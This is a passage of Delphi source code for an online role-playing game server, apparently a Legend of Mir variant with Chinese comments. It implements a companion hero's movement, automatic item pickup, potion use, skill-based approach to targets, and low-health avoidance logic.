Boolean; var n10, nDir: Integer; nX, nY: Integer; begin nX := nTargetX; nY := nTargetY; Result := GetGotoXY(m_btLastDirection, nTargetX, nTargetY); n10 := 0; while True do begin if n10 >= 7 then Break; if Result then Break; nTargetX := nX; nTargetY := nY; nDir := Random(7); Result := GetGotoXY(nDir, nTargetX, nTargetY); Inc(n10); end; m_btLastDirection := nDir; //m_btDirection; end; function GotoMasterXY(var nTargetX, nTargetY: Integer): Boolean; var nDir: Integer; begin Result := False; if (m_Master <> nil) and ((abs(m_Master.m_nCurrX - m_nCurrX) >= 6) or (abs(m_Master.m_nCurrY - m_nCurrY) >= 6)) and (not m_boProtectStatus) then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; //nTargetX := m_Master.m_nCurrX;//20080215 //nTargetY := m_Master.m_nCurrY;//20080215 nDir := GetDirXY(m_Master.m_nCurrX, m_Master.m_nCurrY); //m_btLastDirection := nDir;//20080402 case nDir of DR_UP: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_UPRIGHT, nTargetX, nTargetY); m_btLastDirection := DR_UPRIGHT; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_UPLEFT, nTargetX, nTargetY); m_btLastDirection := DR_UPLEFT; end; end; DR_UPRIGHT: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_UP, nTargetX, nTargetY); m_btLastDirection := DR_UP; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_RIGHT, nTargetX, nTargetY); m_btLastDirection := DR_RIGHT; end; end; DR_RIGHT: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_UPRIGHT, nTargetX, nTargetY); m_btLastDirection := DR_UPRIGHT; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_DOWNRIGHT, nTargetX, nTargetY); m_btLastDirection := DR_DOWNRIGHT; end; end; DR_DOWNRIGHT: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_RIGHT, nTargetX, nTargetY); m_btLastDirection := DR_RIGHT; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_DOWN, nTargetX, nTargetY); m_btLastDirection := DR_DOWN; end; end; DR_DOWN: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_DOWNRIGHT, nTargetX, nTargetY); m_btLastDirection := DR_DOWNRIGHT; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_DOWNLEFT, nTargetX, nTargetY); m_btLastDirection := DR_DOWNLEFT; end; end; DR_DOWNLEFT: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_DOWN, nTargetX, nTargetY); m_btLastDirection := DR_DOWN; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_LEFT, nTargetX, nTargetY); m_btLastDirection := DR_LEFT; end; end; DR_LEFT: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_DOWNLEFT, nTargetX, nTargetY); m_btLastDirection := DR_DOWNLEFT; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_UPLEFT, nTargetX, nTargetY); m_btLastDirection := DR_UPLEFT; end; end; DR_UPLEFT: begin Result := GetGotoXY(nDir, nTargetX, nTargetY); if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_LEFT, nTargetX, nTargetY); m_btLastDirection := DR_LEFT; end; if not Result then begin nTargetX := m_nCurrX; nTargetY := m_nCurrY; Result := GetGotoXY(DR_UP, nTargetX, nTargetY); m_btLastDirection := DR_UP; end; end; end; end; end; var nTargetX: Integer; nTargetY: Integer; nDir: Integer; begin Result := True; if (m_TargetCret <> nil) and not m_TargetCret.m_boDeath then begin //nDir := m_btLastDirection; if GotoMasterXY(nTargetX, nTargetY) then begin Result := GotoTargetXY(nTargetX, nTargetY, 1); end else begin { m_btLastDirection := GetAvoidDir(); //20080301 nTargetX := m_nCurrX ; nTargetY := m_nCurrY ; if GetAvoidXY(nTargetX, nTargetY) then begin Result := GotoTargetXY(nTargetX, nTargetY); end;} nTargetX := m_nCurrX ; nTargetY := m_nCurrY ; nDir:= GetNextDirection(m_nCurrX,m_nCurrY,m_TargetCret.m_nCurrX,m_TargetCret.m_nCurrY); nDir:= GetBackDir(nDir); m_PEnvir.GetNextPosition(m_TargetCret.m_nCurrX,m_TargetCret.m_nCurrY,nDir,5,m_nTargetX,m_nTargetY); Result :=GotoTargetXY(m_nTargetX, m_nTargetY, 1); end; //m_btLastDirection := m_btDirection; end; end; //英雄自动捡物品 function THeroObject.SearchPickUpItem(nPickUpTime: Integer): Boolean; procedure SetHideItem(MapItem: PTMapItem); var VisibleMapItem: pTVisibleMapItem; I: Integer; begin for I := 0 to m_VisibleItems.Count - 1 do begin VisibleMapItem := pTVisibleMapItem(m_VisibleItems.Items[I]); if (VisibleMapItem <> nil) and (VisibleMapItem.nVisibleFlag > 0) then begin if VisibleMapItem.MapItem = MapItem then begin VisibleMapItem.nVisibleFlag := 0; Break; end; end; end; end; function PickUpItem(nX, nY: Integer): Boolean; var UserItem: pTUserItem; StdItem: pTStdItem; MapItem: PTMapItem; begin Result := False; MapItem := m_PEnvir.GetItem(nX, nY); if MapItem = nil then Exit; if CompareText(MapItem.Name, sSTRING_GOLDNAME) = 0 then begin if m_PEnvir.DeleteFromMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)) = 1 then begin if (m_Master <> nil) and (not m_Master.m_boDeath) then begin //捡到的钱加给主人 if TPlayObject(m_Master).IncGold(MapItem.Count) then begin SendRefMsg(RM_ITEMHIDE, 0, Integer(MapItem), nX, nY, ''); if g_boGameLogGold then AddGameDataLog('4' + #9 + m_sMapName + #9 + IntToStr(nX) + #9 + IntToStr(nY) + #9 + m_sCharName + #9 + sSTRING_GOLDNAME + #9 + IntToStr(MapItem.Count) + #9 + '1' + #9 +'0'); Result := True; m_Master.GoldChanged; SetHideItem(MapItem); Dispose(MapItem); end else begin m_PEnvir.AddToMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)); end; end else begin m_PEnvir.AddToMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)); end; end else begin m_PEnvir.AddToMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)); end; end else begin //捡物品 StdItem := UserEngine.GetStdItem(MapItem.UserItem.wIndex); if StdItem <> nil then begin if m_PEnvir.DeleteFromMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)) = 1 then begin New(UserItem); FillChar(UserItem^, SizeOf(TUserItem), #0);//20080820 增加 //FillChar(UserItem^.btValue, SizeOf(UserItem^.btValue), 0);//20080820 增加 UserItem^ := MapItem.UserItem; StdItem := UserEngine.GetStdItem(UserItem.wIndex); if (StdItem <> nil) and IsAddWeightAvailable(UserEngine.GetStdItemWeight(UserItem.wIndex)) then begin if AddItemToBag(UserItem) then begin SendRefMsg(RM_ITEMHIDE, 0, Integer(MapItem), nX, nY, ''); SendAddItem(UserItem); m_WAbil.Weight := RecalcBagWeight(); if StdItem.NeedIdentify = 1 then AddGameDataLog('4' + #9 + m_sMapName + #9 + IntToStr(nX) + #9 + IntToStr(nY) + #9 + m_sCharName + #9 + StdItem.Name + #9 + IntToStr(UserItem.MakeIndex) + #9 + '('+IntToStr(LoWord(StdItem.DC))+'/'+IntToStr(HiWord(StdItem.DC))+')'+ '('+IntToStr(LoWord(StdItem.MC))+'/'+IntToStr(HiWord(StdItem.MC))+')'+ '('+IntToStr(LoWord(StdItem.SC))+'/'+IntToStr(HiWord(StdItem.SC))+')'+ '('+IntToStr(LoWord(StdItem.AC))+'/'+IntToStr(HiWord(StdItem.AC))+')'+ '('+IntToStr(LoWord(StdItem.MAC))+'/'+IntToStr(HiWord(StdItem.MAC))+')'+ IntToStr(UserItem.btValue[0])+'/'+IntToStr(UserItem.btValue[1])+'/'+IntToStr(UserItem.btValue[2])+'/'+ IntToStr(UserItem.btValue[3])+'/'+IntToStr(UserItem.btValue[4])+'/'+IntToStr(UserItem.btValue[5])+'/'+ IntToStr(UserItem.btValue[6])+'/'+IntToStr(UserItem.btValue[7])+'/'+IntToStr(UserItem.btValue[8])+'/'+ IntToStr(UserItem.btValue[14])+ #9 +IntToStr(UserItem.Dura)+'/'+IntToStr(UserItem.DuraMax)); Result := True; SetHideItem(MapItem); Dispose(MapItem); end else begin Dispose(UserItem); m_PEnvir.AddToMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)); end; end else begin Dispose(UserItem); m_PEnvir.AddToMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)); end; end else begin Dispose(UserItem); m_PEnvir.AddToMap(nX, nY, OS_ITEMOBJECT, TObject(MapItem)); end; end; end; end; { function IsOfGroup(BaseObject: TBaseObject): Boolean; // var //I: Integer; //GroupMember: TBaseObject; begin Result := False; if m_Master.m_GroupOwner = nil then Exit; for I := 0 to m_Master.m_GroupOwner.m_GroupMembers.Count - 1 do begin GroupMember := TBaseObject(m_Master.m_GroupOwner.m_GroupMembers.Objects[I]); if GroupMember = BaseObject then begin Result := True; Break; end; end; end; } var MapItem: PTMapItem; VisibleMapItem: pTVisibleMapItem; SelVisibleMapItem: pTVisibleMapItem; I: Integer; boFound: Boolean; n01, n02: Integer; nCode: Byte; begin Result := False; nCode:= 0; try if GetTickCount() - m_dwPickUpItemTick < nPickUpTime then Exit; m_dwPickUpItemTick := GetTickCount(); boFound := False; nCode:= 1; if m_SelMapItem <> nil then begin nCode:= 2; for I := 0 to m_VisibleItems.Count - 1 do begin nCode:= 3; VisibleMapItem := pTVisibleMapItem(m_VisibleItems.Items[I]); nCode:= 4; if (VisibleMapItem <> nil) and (VisibleMapItem.nVisibleFlag > 0) then begin if VisibleMapItem.MapItem = m_SelMapItem then begin nCode:= 5; boFound := True; Break; end; end; end; end; if not boFound then m_SelMapItem := nil; nCode:= 6; if m_SelMapItem <> nil then begin if PickUpItem(m_nCurrX, m_nCurrY) then begin Result := True; Exit; end; end; n01 := 999; nCode:= 7; SelVisibleMapItem := nil; boFound := False; if m_SelMapItem <> nil then begin nCode:= 8; for I := 0 to m_VisibleItems.Count - 1 do begin nCode:= 9; VisibleMapItem := pTVisibleMapItem(m_VisibleItems.Items[I]); nCode:= 10; if (VisibleMapItem <> nil) and (VisibleMapItem.nVisibleFlag > 0) then begin nCode:= 11; if VisibleMapItem.MapItem = m_SelMapItem then begin SelVisibleMapItem := VisibleMapItem; boFound := True; Break; end; end; end; end; if not boFound then begin nCode:= 12; for I := 0 to m_VisibleItems.Count - 1 do begin nCode:= 13; VisibleMapItem := pTVisibleMapItem(m_VisibleItems.Items[I]); nCode:= 14; if (VisibleMapItem <> nil) then begin if (VisibleMapItem.nVisibleFlag > 0) then begin MapItem := VisibleMapItem.MapItem; nCode:= 15; if (MapItem <> nil) then begin if (MapItem.DropBaseObject <> m_Master) then begin nCode:= 16; if IsAllowPickUpItem(VisibleMapItem.sName) and IsAddWeightAvailable(UserEngine.GetStdItemWeight(MapItem.UserItem.wIndex)) then begin //if (MapItem.DropBaseObject <> nil) and (TBaseObject(MapItem.DropBaseObject).m_btRaceServer = RC_PLAYOBJECT) then Continue; nCode:= 17; if (MapItem.OfBaseObject = nil) or (MapItem.OfBaseObject = m_Master) or (MapItem.OfBaseObject = Self) {or IsOfGroup(TBaseObject(MapItem.OfBaseObject))} then begin nCode:= 18; if (abs(VisibleMapItem.nX - m_nCurrX) <= 5) and (abs(VisibleMapItem.nY - m_nCurrY) <= 5) then begin n02 := abs(VisibleMapItem.nX - m_nCurrX) + abs(VisibleMapItem.nY - m_nCurrY); if n02 < n01 then begin n01 := n02; nCode:= 19; SelVisibleMapItem := VisibleMapItem; end; end; end; end; end; end; end; end; end;//for end; nCode:= 20; if SelVisibleMapItem <> nil then begin nCode:= 21; m_SelMapItem := SelVisibleMapItem.MapItem; if (m_nCurrX <> SelVisibleMapItem.nX) or (m_nCurrY <> SelVisibleMapItem.nY) then begin nCode:= 22; WalkToTargetXY2(SelVisibleMapItem.nX, VisibleMapItem.nY); Result := True; end; end; except MainOutMessage('{异常} THeroObject.SearchPickUpItem Code:'+inttostr(nCode)); end; end; (* 20080117 function THeroObject.IsPickUpItem(StdItem: pTStdItem): Boolean; begin Result := True; {if StdItem.StdMode = 0 then begin if (StdItem.Shape in [0, 1, 2]) then Result := True; end else if StdItem.StdMode = 31 then begin if GetBindItemType(StdItem.Shape) >= 0 then Result := True; end else begin Result := False; end;} end; *) function THeroObject.EatUseItems(nShape: Integer): Boolean; begin Result := False; case nShape of 4: begin if WeaptonMakeLuck() then Result := True; end; 9: begin if RepairWeapon() then Result := True; end; 10: begin if SuperRepairWeapon() then Result := True; end; end; end; function THeroObject.AutoEatUseItems(btItemType: Byte): Boolean; //自动吃药 function FoundAddHealthItem(ItemType: Byte): Integer; var I: Integer; UserItem: pTUserItem; StdItem: pTStdItem; UserItem1: pTUserItem; StdItem1, StdItem2, StdItem3: pTStdItem; II, MinHP, j, nHP:Integer; begin Result := -1; if m_ItemList.Count > 0 then begin//20080628 for I := 0 to m_ItemList.Count - 1 do begin UserItem := m_ItemList.Items[I]; if UserItem <> nil then begin StdItem := UserEngine.GetStdItem(UserItem.wIndex); if StdItem <> nil then begin case ItemType of 0: begin //红药 if (StdItem.StdMode = 0) and (StdItem.Shape = 0) and (StdItem.AC > 0) then begin Result := I; Break; end; end; 1: begin //蓝药 if (StdItem.StdMode = 0) and (StdItem.Shape = 0) and (StdItem.MAC > 0) then begin Result := I; Break; end; end; 2: begin //太阳水(查找特殊药品,对比HP,选择适合的药品) {if (StdItem.StdMode = 0) and (StdItem.Shape = 1) and (StdItem.AC > 0) and (StdItem.MAC > 0) then begin Result := I; Break; end;} //20080925 修改 if (StdItem.StdMode = 0) and (StdItem.Shape = 1) and (StdItem.AC > 0) and (StdItem.MAC > 0) then begin MinHP:= StdItem.AC; nHP:= m_WAbil.MaxHP - m_WAbil.HP;//取当前血的差值 J:= I; for II := 0 to m_ItemList.Count - 1 do begin//循环找出+HP最适合的特殊物品 UserItem1 := m_ItemList.Items[II]; if UserItem1 <> nil then begin StdItem1 := UserEngine.GetStdItem(UserItem1.wIndex); if StdItem1 <> nil then begin if (StdItem1.StdMode = 0) and (StdItem1.Shape = 1) and (StdItem1.AC > 0) and (StdItem1.MAC > 0) then begin if abs(StdItem1.AC - nHP) < abs(MinHP - nHP) then begin//20080926 MinHP:= StdItem1.AC; J:= II; end; end; end; end; end; for II := 0 to m_ItemList.Count - 1 do begin UserItem1 := m_ItemList.Items[II]; if UserItem1 <> nil then begin StdItem1 := UserEngine.GetStdItem(UserItem1.wIndex); if StdItem1 <> nil then begin if (StdItem1.StdMode = 31) and (GetBindItemType(StdItem1.Shape) = 2) and (m_ItemList.Count + 6 < m_nItemBagCount) then begin StdItem3 := UserEngine.GetStdItem(GetBindItemName(StdItem1.Shape));//可以解出来的物品名 if StdItem3 <> nil then begin if (StdItem3.StdMode = 0) and (StdItem3.Shape = 1) and (StdItem3.AC > 0) and (StdItem3.MAC > 0) then begin if abs(StdItem3.AC - nHP) < abs(MinHP - nHP) then begin//20080926 MinHP:= StdItem3.AC; J:= II; end; end; end;//if StdItem3 <> nil then begin end; end; end; end; Result := J; Break; end; end; 3: begin //红药包 if (StdItem.StdMode = 31) and (GetBindItemType(StdItem.Shape) = 0) and (m_ItemList.Count + 6 < m_nItemBagCount) then begin Result := I; Break; end; end; 4: begin //蓝药包 if (StdItem.StdMode = 31) and (GetBindItemType(StdItem.Shape) = 1) and (m_ItemList.Count + 6 < m_nItemBagCount) then begin Result := I; Break; end; end; 5: begin//大补药包 20080506 {if (StdItem.StdMode = 31) and (GetBindItemType(StdItem.Shape) = 2) and (m_ItemList.Count + 6 < m_nItemBagCount) then begin Result := I; Break; end;} //20080927 智能解包 if (StdItem.StdMode = 31) and (GetBindItemType(StdItem.Shape) = 2) and (m_ItemList.Count + 6 < m_nItemBagCount) then begin StdItem1 := UserEngine.GetStdItem(GetBindItemName(StdItem.Shape));//可以解出来的物品名 if StdItem1 <> nil then begin MinHP:= StdItem1.AC; nHP:= m_WAbil.MaxHP - m_WAbil.HP;//取当前血的差值 J:= I; for II := 0 to m_ItemList.Count - 1 do begin//循环找出+HP最适合的特殊物品 UserItem1 := m_ItemList.Items[II]; if UserItem1 <> nil then begin StdItem2 := UserEngine.GetStdItem(UserItem1.wIndex); if StdItem2 <> nil then begin if (StdItem2.StdMode = 31) and (GetBindItemType(StdItem2.Shape) = 2) then begin StdItem3 := UserEngine.GetStdItem(GetBindItemName(StdItem2.Shape));//可以解出来的物品名 if StdItem3 <> nil then begin if (StdItem3.StdMode = 0) and (StdItem3.Shape = 1) and (StdItem3.AC > 0) and (StdItem3.MAC > 0) then begin if abs(StdItem3.AC - nHP) < abs(MinHP - nHP) then begin//20080926 MinHP:= StdItem3.AC; J:= II; end; end; end;//if StdItem3 <> nil then begin end; end; end; end; end; Result := J; Break; end; end; end; end; end; end; end; end; var nItemIdx: Integer; UserItem: pTUserItem; begin Result := False; if not m_boDeath then begin nItemIdx := FoundAddHealthItem(btItemType); if (nItemIdx >= 0) and (nItemIdx < m_ItemList.Count) then begin UserItem := pTUserItem(m_ItemList.Items[nItemIdx]); SendDelItems(UserItem); ClientHeroUseItems(UserItem.MakeIndex, UserEngine.GetStdItem(UserItem.wIndex).Name); Result := True; end else begin case btItemType of //查找解包物品 0: begin nItemIdx := FoundAddHealthItem(0);//查找红药 if (nItemIdx >= 0) and (nItemIdx < m_ItemList.Count) then begin Result := True; UserItem := pTUserItem(m_ItemList.Items[nItemIdx]); SendDelItems(UserItem); ClientHeroUseItems(UserItem.MakeIndex, UserEngine.GetStdItem(UserItem.wIndex).Name); end else begin nItemIdx := FoundAddHealthItem(3);//查找红药包 if (nItemIdx >= 0) and (nItemIdx < m_ItemList.Count) then begin Result := True; UserItem := pTUserItem(m_ItemList.Items[nItemIdx]); SendDelItems(UserItem); ClientHeroUseItems(UserItem.MakeIndex, UserEngine.GetStdItem(UserItem.wIndex).Name); end; end; end; 1: begin nItemIdx := FoundAddHealthItem(1);//查找蓝药 if (nItemIdx >= 0) and (nItemIdx < m_ItemList.Count) then begin Result := True; UserItem := pTUserItem(m_ItemList.Items[nItemIdx]); SendDelItems(UserItem); ClientHeroUseItems(UserItem.MakeIndex, UserEngine.GetStdItem(UserItem.wIndex).Name); end else begin nItemIdx := FoundAddHealthItem(4);//蓝药包 if (nItemIdx >= 0) and (nItemIdx < m_ItemList.Count) then begin Result := True; UserItem := pTUserItem(m_ItemList.Items[nItemIdx]); SendDelItems(UserItem); ClientHeroUseItems(UserItem.MakeIndex, UserEngine.GetStdItem(UserItem.wIndex).Name); end; end; end; 2:begin nItemIdx := FoundAddHealthItem(2);//查找特殊药品,对比HP,选择适合的药品 if (nItemIdx >= 0) and (nItemIdx < m_ItemList.Count) then begin Result := True; UserItem := pTUserItem(m_ItemList.Items[nItemIdx]); SendDelItems(UserItem); ClientHeroUseItems(UserItem.MakeIndex, UserEngine.GetStdItem(UserItem.wIndex).Name); end else begin nItemIdx := FoundAddHealthItem(5);//大补药包 if (nItemIdx >= 0) and (nItemIdx < m_ItemList.Count) then begin Result := True; UserItem := pTUserItem(m_ItemList.Items[nItemIdx]); SendDelItems(UserItem); ClientHeroUseItems(UserItem.MakeIndex, UserEngine.GetStdItem(UserItem.wIndex).Name); end; end; end;//2 end;//case btItemType of //查找解包物品 end; end; end; function THeroObject.IsNeedGotoXY(): Boolean; //是否走向目标 var dwAttackTime: LongWord; begin Result := False; if (m_TargetCret <> nil) and (GetTickCount - m_dwAutoAvoidTick > 1100) and ((not m_boIsUseAttackMagic) or (m_btJob = 0)) then begin if m_btJob > 0 then begin if (m_btStatus <> 2) and (not m_boIsUseMagic) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > {2}3) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 3{2})) then begin//20081214修改 Result := True; Exit; end; if (m_btStatus <> 2) and g_Config.boHeroAttackTarget and (m_Abil.Level < 22) then begin//20081218 道法22前是否物理攻击 Result := True; Exit; end; end else if (m_btStatus <> 2) then begin case m_nSelectMagic of //20080501 增加 12:begin//刺杀 if IsAllowUseMagic(12) and (m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 2, m_nTargetX, m_nTargetY)) then begin if ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) then begin dwAttackTime := _MAX(0, Integer(g_Config.dwHeroWarrorAttackTime) - m_nHitSpeed * g_Config.ClientConf.btItemSpeed); //防止负数出错 if (GetTickCount - m_dwHitTick > dwAttackTime) then begin m_dwHitTick := GetTickCount(); m_wHitMode:= 4;//刺杀 m_dwTargetFocusTick := GetTickCount(); m_btDirection := GetNextDirection(m_nCurrX, m_nCurrY, m_TargetCret.m_nCurrX,m_TargetCret.m_nCurrY); Attack(m_TargetCret, m_btDirection); BreakHolySeizeMode(); Exit; end; end else begin//new if ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1)) then begin Result := True; Exit; end; end; end; m_nSelectMagic:= 0; if IsAllowUseMagic(12) then begin if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 2) then begin Result := True; Exit; end; end else if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1) then begin Result := True; Exit; end; end; 74:begin//逐日剑法 if m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 5, m_nTargetX, m_nTargetY) then begin if ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)<=4)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)<=4)) or (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=3)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=3)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=4)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=4))) then begin //if ((abs(m_TargetCret.m_nCurrX - m_nCurrX) < 5) or (abs(m_TargetCret.m_nCurrY - m_nCurrY)< 5)) then begin dwAttackTime := _MAX(0, Integer(g_Config.dwHeroWarrorAttackTime) - m_nHitSpeed * g_Config.ClientConf.btItemSpeed); //防止负数出错 if (GetTickCount - m_dwHitTick > dwAttackTime) then begin m_dwHitTick := GetTickCount(); m_wHitMode:= 13; m_dwTargetFocusTick := GetTickCount(); m_btDirection := GetNextDirection(m_nCurrX, m_nCurrY, m_TargetCret.m_nCurrX,m_TargetCret.m_nCurrY); Attack(m_TargetCret, m_btDirection); BreakHolySeizeMode(); Exit; end; end else begin if IsAllowUseMagic(12) then begin if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 2) then begin Result := True; Exit; end; end else if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1) then begin Result := True; Exit; end; end; end; m_nSelectMagic:= 0; if IsAllowUseMagic(12) then begin if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 2) then begin Result := True; Exit; end; end else if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1) then begin Result := True; Exit; end; end; 43:begin//20080604 实现隔位放开天 if m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 5, m_nTargetX, m_nTargetY) and (m_n42kill = 2) then begin if ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)<=4)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)<=4)) or (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=3)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=3)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=4)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=4))) then begin dwAttackTime := _MAX(0, Integer(g_Config.dwHeroWarrorAttackTime) - m_nHitSpeed * g_Config.ClientConf.btItemSpeed); //防止负数出错 if (GetTickCount - m_dwHitTick > dwAttackTime) then begin m_dwHitTick := GetTickCount(); m_wHitMode:= 9; m_dwTargetFocusTick := GetTickCount(); m_btDirection := GetNextDirection(m_nCurrX, m_nCurrY, m_TargetCret.m_nCurrX,m_TargetCret.m_nCurrY); Attack(m_TargetCret, m_btDirection); BreakHolySeizeMode(); Exit; end; end else begin if IsAllowUseMagic(12) then begin if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 2) then begin Result := True; Exit; end; end else if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1) then begin Result := True; Exit; end; end; end; m_nSelectMagic:= 0; if m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 2, m_nTargetX, m_nTargetY) and (m_n42kill in [1,2]) then begin if (Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0) or (Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2) or (Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2)and(Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2) then begin //if ((abs(m_TargetCret.m_nCurrX - m_nCurrX) <= 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) <= 2)) and (m_n42kill in [1,2]) then begin dwAttackTime := _MAX(0, Integer(g_Config.dwHeroWarrorAttackTime) - m_nHitSpeed * g_Config.ClientConf.btItemSpeed); //防止负数出错 if (GetTickCount - m_dwHitTick > dwAttackTime) then begin m_dwHitTick := GetTickCount(); m_wHitMode:= 9; m_dwTargetFocusTick := GetTickCount(); m_btDirection := GetNextDirection(m_nCurrX, m_nCurrY, m_TargetCret.m_nCurrX,m_TargetCret.m_nCurrY); Attack(m_TargetCret, m_btDirection); BreakHolySeizeMode(); Exit; end end else begin if ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1)) then begin Result := True; Exit; end; end; end; m_nSelectMagic:= 0; if IsAllowUseMagic(12) then begin if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 2) then begin Result := True; Exit; end; end else if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1) then begin Result := True; Exit; end; end; 7, 25, 26:begin if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1) then begin Result := True; m_nSelectMagic:= 0; Exit; end; end else begin if IsAllowUseMagic(12) then begin if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 2) then begin Result := True; Exit; end; end else if (abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1) then begin Result := True; Exit; end; end; end;//case m_nSelectMagic of end; end; end; //是否需要躲避 function THeroObject.IsNeedAvoid(): Boolean; begin Result := False; if ((GetTickCount - m_dwAutoAvoidTick) > 1100) and m_boIsUseMagic then begin //血低于25%时,必定要躲 20080711 if (m_btJob > 0) and (m_btStatus <> 2) and ((m_nSelectMagic = 0) or (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.25))) then begin m_dwAutoAvoidTick := GetTickCount(); case m_btJob of 1:if CheckTargetXYCount(m_nCurrX, m_nCurrY, 4) > 0 then begin Result := True; Exit; end; 2:if CheckTargetXYCount(m_nCurrX, m_nCurrY, 4{3}) > 0 then begin Result := True; Exit; end; end; { if 